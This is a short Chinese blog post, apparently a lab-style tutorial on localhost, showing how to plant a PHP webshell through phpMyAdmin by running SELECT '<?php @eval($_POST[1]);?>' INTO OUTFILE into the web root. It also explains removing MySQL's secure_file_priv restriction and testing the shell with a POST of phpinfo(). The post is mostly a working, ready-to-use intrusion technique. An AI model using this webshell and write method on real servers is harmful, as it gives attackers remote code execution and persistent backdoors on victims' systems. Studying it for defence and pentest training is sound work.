• 通过phpMyAdmin写入MySQL,获取webshell


    通过phpMyAdmin写入MySQL,获取webshell

    在SQL的控制台中输入

    进入http://127.0.0.1/phpMyAdmin,并在SQL中输入如下命令

    select '<?php  @eval($_POST[1]);?>' into outfile 'D:/phpstudy_pro/WWW/code/sql/shell.php';

    发现如下报错:

    修改配置

    去掉导入的目录限制

    可修改mysql配置文件(Windows下为my.ini, Linux下的my.cnf),在[mysqld]下面,查看是否有:

    secure_file_priv =

    如上这样一行内容,如果没有,则手动添加。如果存在如下行:

    secure_file_priv = /home 

    这样一行内容,表示限制为/home文件夹。而如下行:

    secure_file_priv =

    这样一行内容,表示不限制目录,等号一定要有,否则mysql无法启动。

    修改完配置文件后,重启mysql生效。

    重启后:

    关闭:service mysqld stop
    
    启动:service mysqld start

    再次输入

    select '<?php  @eval($_POST[1]);?>' into outfile 'D:/phpstudy_pro/WWW/code/sql/shell.php';

     查看木马是否可以执行

    同过访问木马的地址,并通过 hackbar插件,在post中输入 1=phpinfo(),查看此木马是否可以使用;

     其他方式写入shell:https://blog.csdn.net/weixin_39872872/article/details/112589789

    愿路途漫长,以后莫失莫忘。 愿你不骄不躁,安稳顺心。

    作者:菜鸟-传奇
    本文版权归作者和博客园共有,不以任何盈利为目的,欢迎转载。但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文链接,否则保留追究法律声明责任的权利。
  • 相关阅读:
    Hive分组取Top N
    Hive 锁 lock
    Hive创建指向HBase表的表
    Hive Serde
    自定义UDF
    Hive使用SequenceFile存储数据
    alter table
    describe命令
    移动端,字体实际大小比设置的大,原因总结
    移动端适配基础总结
  • 原文地址:https://www.cnblogs.com/cainiao-chuanqi/p/14679246.html
Copyright © 2020-2023  润新知